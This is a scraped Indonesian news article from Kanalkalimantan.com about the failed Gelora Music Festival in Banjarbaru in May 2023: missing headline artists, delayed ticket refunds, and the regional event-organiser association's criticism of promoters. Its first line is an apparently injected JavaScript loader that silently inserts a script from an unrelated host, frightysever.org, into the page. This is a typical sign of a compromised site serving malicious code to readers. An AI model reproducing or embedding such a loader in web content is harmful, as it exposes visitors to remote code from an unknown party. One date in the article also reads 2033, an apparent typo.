(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penyelenggaraan konser musik di ibu kota Provinsi Kalimantan Selatan (Kalsel) Banjarbaru tengah menjadi perhatian publik lantaran merugikan penonton.
Setelah gagal menampilkan total empat musisi papan atas pada acara bertajuk Gelora Music Festival di lapangan Brimob Polda Kalsel pada 6-7 Mei 2023 lalu, kini empat hingga lima panitia menuai kritikan massal dari warganet.
Penonton menagih janji dan komitmen dari pihak penyelenggara yang belum kunjung melakukan refund atau penggembalian uang tiket penonton.
Terpantau hingga hari Selasa (9/5/2033) di akun media sosial geloramusicfest.bjb itu hanya nampak pemberitahuan permintaan maaf dari panitia penyelenggara.
Baca juga: Bursa Pendidikan dari SD hingga Perguruan Tinggi Ada di Banjarbaru Titech Expo 2023
“Segera setelah mekanisme refund tiket siap, kami akan memberitahu melalui media sosial konser kami.
Harap bersabar sebentar dan kami akan berusaha semaksimal mungkin untuk memproses refund tiket secepat mungkin. Sekali lagi, saya ingin menyampaikan permintaan maaf yang tulus atas ketidaknyamanan dan kekecewaan yang dialami,” tulis panitia penyelenggara, dalam postingan di feeds instagram @geloramusicfest.bjb, Selasa (9/5/2023).
Kegaduhan yang terjadi di dunia industri event organizer Kalsel ini juga menggundang perhatian Perkumpulan Pengusaha Event Organizer (Perpeo) Kalsel
Mochammad Rosyadi Razak, Ketua Perpeo Kalsel menyampaikan jika pihaknya dengan tegas telah mengambil sikap karena tidak ingin industri usaha EO di Kalsel menjadi tercoreng.
“Karena sikap-sikap tidak profesional beberapa pihak yang menganggap melaksanakan sebuah kegiatan promotoran ini bisa dikerjakan tanpa persiapan dari berbagai macam hal dengan matang,” kata Mochammad Rosyadi Razak, Ketua Perpeo Kalsel kepada Kanalkalimantan.com, Selasa (9/5/2023) siang.
Konser musik di Banjarbaru yang dikeluhkan penonton karena empat bintang tamu gagal hadir. Foto : wanda
Menurut Rosyadi, selama ini memang banyak terindikasi kegiatan promotoran konser di Kalsel yang gagal melaksanakan acara.
Dari hasil pemerhatian pihaknya juga tidak sedikit acara konser yang mundur tanggal atau ada artis bahkan pengisi acara yang tidak bisa dihadirkan.
Baca juga: Aplikasi BSI Mobile Error, Nasabah Dibuat Kelimpungan
“Karena intinya apa yang kita promosikan untuk acara tersebut itu adalah tanggung jawab mutlak yang harus kita laksanakan,” sebutnya.
Adapun hal yang bersifat fouce majeur, sambung Rosyadi merupakan suatu hal yang berbeda, sehingga menurutnya para konsumen, penonton atau pun pembeli tiket dan sponsor tidak dapat dibohongi atau dikecewakan.
Untuk menghindari carut marut konser di kemudian hari, pihaknya dengan tegas mengimbau kepada masyarakat di Kalsel untuk dapat memperhatikan dengan seksama siapa peyelenggara, EO maupun promotor kegiatan.
“Apalagi kalau penyelenggaranya EO, maka sudah tentu harus dan wajib memiliki badan hukum, jadi dicek lebih dulu bobot bebet penyelenggaranya jangan liat konten maupun isi artis duluan,” jelasnya.
Pihaknya pun menyebut akan mencoba berdiskusi dengan pihak kepolisian tentang bagaimana kedepannya agar lebih selektif memberikan ijin penyelenggaran sebuah event, salah satunya konser musik.
“Karena konser yang gagal pun bisa mengakibatkan chaos di masyarakat, bila perlu harus ada ranah hukum nya sehingga kedepan promotor atau EO bisa betul-betul bertanggung jawab, dimana ini murni bisnis bukan bersifat sosial,” jelasnya lagi.
Selaku pengurus perkumpulan EO di Kalsel, Rosyadi berharap kedepannya kegiatan konser musik di Kalsel dapat terus terlaksana dengan baik, tertib waktu pelaksaan, tertib janji serta keamanan dan keselamatan penyelenggaran dan pengunjung konser.
Baca juga: Puncak Haul Syekh Muhammad Kasyful Anwar Dihadiri Ribuan Orang
“Jika mungkinkan kita juga akan berdiskusi dengan Lembaga yang melindungi hak kosumen yaitu YLKI. Maka dari itu inilah langkah awal kami menghimbau kepada masyarakat,” imbuhnya.
Harapan besar juga diutarakannya untuk Kalimantan Selatan agar selalu menjadi yang terdepan dalam bidang industri event.
“Setidaknya di pulau Kalimantan dulu untuk industri event pada khususnya, sehingga juga bisa menjadi salah satu barometer perkembangan ekonomi dari sektor pariwisata,” pungkas Rosyadi.
Untuk diketahui dari acara konser musik ini disebut-sebut merugi hingga Rp 2 miliar lantaran gagal membawa empat artis seperti Feast, Mario G Clau, TBA hinga Lyodra Ginting
Padahal dalam gelaran konser musik ini turut mengundang total delapan artis papan atas. Meski konser tetap berlangsung namanun dii hari kedua nampak situasi penonton di lapangan mulai tak terkondisikan.
Hingga saat ini ratusan penonton masih menunggu pemberitahuan mengenai mekanisme refund. Mereka pun meminta refund uang sekitat 50 persen hingga 80 persen kepada pihak penyelenggara.(Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.